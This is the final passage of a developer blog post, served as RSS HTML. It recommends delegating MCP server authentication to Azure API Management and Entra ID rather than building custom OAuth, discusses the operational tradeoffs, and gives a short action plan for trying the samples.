>request tracing</a>. For API Management, you can also use Visual Studio Code to <a
  href="https://learn.microsoft.com/azure/api-management/api-management-debug-policies"
  
  target="_blank" rel="noreferrer noopener"
>debug policies</a>.</p>
<p><strong>Monitoring becomes more complex.</strong> You now need to monitor your API gateway health, authorization server availability, token validation latency, and the relationships between all these components. Your simple &ldquo;<em>Is my server responding?</em>&rdquo; health check becomes a multi-service dependency graph.</p>
<p><strong>Local development gets harder.</strong> When it comes to running the same code locally, running things behind an API gateway is not as simple as just running your MCP server on the development box. You&rsquo;re either depending on additional infrastructure (self-hosted gateway), bypassing auth entirely (not great for catching auth-related bugs), or tunneling to cloud services (adding latency and potential connectivity issues to your dev loop).</p>
<p><strong>Configuration drift is a real risk.</strong> Your auth logic is now split between APIM policies (which might be managed through XML definitions, Bicep templates, Azure CLI, or the Azure portal) and your application configuration. Keeping these in sync across environments becomes a pretty real operational concern.</p>
<p>So why am I still recommending this approach? Because <strong>the alternative is worse for most teams.</strong> Building and maintaining your own OAuth implementation means you&rsquo;re taking on all of this complexity anyway, plus the additional burden of implementing the token handling correctly, managing edge cases, staying up to date with security patches, and becoming an expert in a domain that&rsquo;s not your core business.</p>
<p>But you should go into this with eyes wide open. The complexity doesn&rsquo;t disappear - it just moves to a different layer of your stack. For anything deployed at scale, make sure you have the operational maturity to handle distributed systems before you add an API gateway to your critical path.</p>
<h3 id="stop-reinventing-the-wheel" class="relative group">Stop reinventing the wheel <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#stop-reinventing-the-wheel" aria-label="Anchor">#</a></span></h3>
<p>Look, I get it. Writing authentication code feels important. It feels like you&rsquo;re really <em>engineering</em> something because of all the complexity, the twists and turns, the new RFCs, and all the fun that comes with reading seventeen pages about client registration. But you know what&rsquo;s more important? <strong>Shipping software that actually solves real problems.</strong></p>
<p>The MCP specification got this right by embracing existing standards like <a
  href="https://datatracker.ietf.org/doc/rfc9728/"
  
  target="_blank" rel="noreferrer noopener"
>RFC 9728</a> for Protected Resource Metadata, <a
  href="https://datatracker.ietf.org/doc/html/rfc8414"
  
  target="_blank" rel="noreferrer noopener"
>RFC 8414</a> for authorization server metadata, and <a
  href="https://datatracker.ietf.org/doc/html/rfc7591"
  
  target="_blank" rel="noreferrer noopener"
>RFC 7591</a> for Dynamic Client Registration. The community is building on top of what already works, and that&rsquo;s a great sign for the maturity of the protocol.</p>
<p>Your job as a developer is to follow their lead. Use the tools that already exist. If you are deploying your MCP servers on Azure, let Azure API Management handle the policy enforcement. Let Microsoft Entra ID handle the identity verification. Let the <a
  href="https://learn.microsoft.com/azure/developer/azure-developer-cli/"
  
  target="_blank" rel="noreferrer noopener"
>Azure Developer CLI</a> handle the intricacies of infrastructure deployment from your developer machine.</p>
<p>Here&rsquo;s your action plan as you try out how protected MCP servers work:</p>
<ol>
<li><strong><a
  href="#how-do-i-deploy-this"
  
  
>Clone the samples</a></strong> and run <code>azd up</code> to see it up and running. Connect the deployed MCP servers to Visual Studio Code and see how the authorization flow works.</li>
<li><strong>Familiarize yourself with the <a
  href="https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization"
  
  target="_blank" rel="noreferrer noopener"
>official MCP Authorization Specification</a></strong> to understand what&rsquo;s going on behind the scenes. As a bonus, check out the <a
  href="https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices"
  
  target="_blank" rel="noreferrer noopener"
>Security Best Practices</a> document to understand some of the complexities you have to handle if you roll your own implementation of MCP server auth patterns.</li>
<li><strong>Review the APIM policies</strong> in the samples I linked to. Understand how the PRM document is served and how that transfers control to the client.</li>
<li><strong>Adapt the pattern</strong> for your own use case, identity provider, and cloud platform of choice. I talked about Azure API Management as a demo, but the same approach will work in a more generic scenario too.</li>
</ol>
<p>If you already have an existing MCP server, the migration to Azure API Management is straightforward - you can copy word-for-word the policies in sample servers and use the Azure Developer CLI to push your code to the cloud. Your existing server code doesn&rsquo;t need to change.</p>
<p>That&rsquo;s it. No PhD in cryptography required. No late nights debugging JWT minting logic. Just working, secure, standards-compliant authentication and authorization that your users will actually enjoy using.</p>
<p>Because at the end of the day, the best authentication system is the one developers never have to think about.</p>
]]></content:encoded></item></channel></rss>